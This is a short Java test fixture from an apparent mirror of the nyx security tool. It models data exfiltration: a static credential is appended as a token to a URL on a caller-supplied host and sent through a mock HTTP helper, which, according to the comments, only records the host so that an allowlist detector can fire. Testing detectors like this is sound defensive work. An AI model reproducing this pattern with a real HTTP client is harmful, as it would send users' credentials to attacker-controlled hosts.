mirror of
https://github.com/elicpeter/nyx.git
synced 2026-06-09 19:45:13 +02:00
17 lines
844 B
Java
17 lines
844 B
Java
// Phase 11 (Track J.9) — Java DATA_EXFIL vuln fixture.
|
|
//
|
|
// Models an unguarded outbound HTTP call that exfiltrates a static
|
|
// credential to an attacker-controlled host. Java has no stdlib
|
|
// monkey-patch hook for `HttpURLConnection`, so the fixture calls into
|
|
// the harness-supplied `NyxMockHttp.get(url)` helper. The helper
|
|
// parses the URL host and appends it to `NyxMockHttp.CAPTURED_HOSTS`
|
|
// without initiating real wire I/O; the harness drains the list after
|
|
// `run` returns and emits one `ProbeKind::OutboundNetwork { host }` per
|
|
// captured call. `OutboundHostNotIn` fires when the host falls outside
|
|
// the loopback allowlist.
|
|
public class Vuln {
|
|
public static void run(String host) throws Exception {
|
|
String secret = "alice-creds";
|
|
NyxMockHttp.get("http://" + host + "/exfil?token=" + secret);
|
|
}
|
|
}
|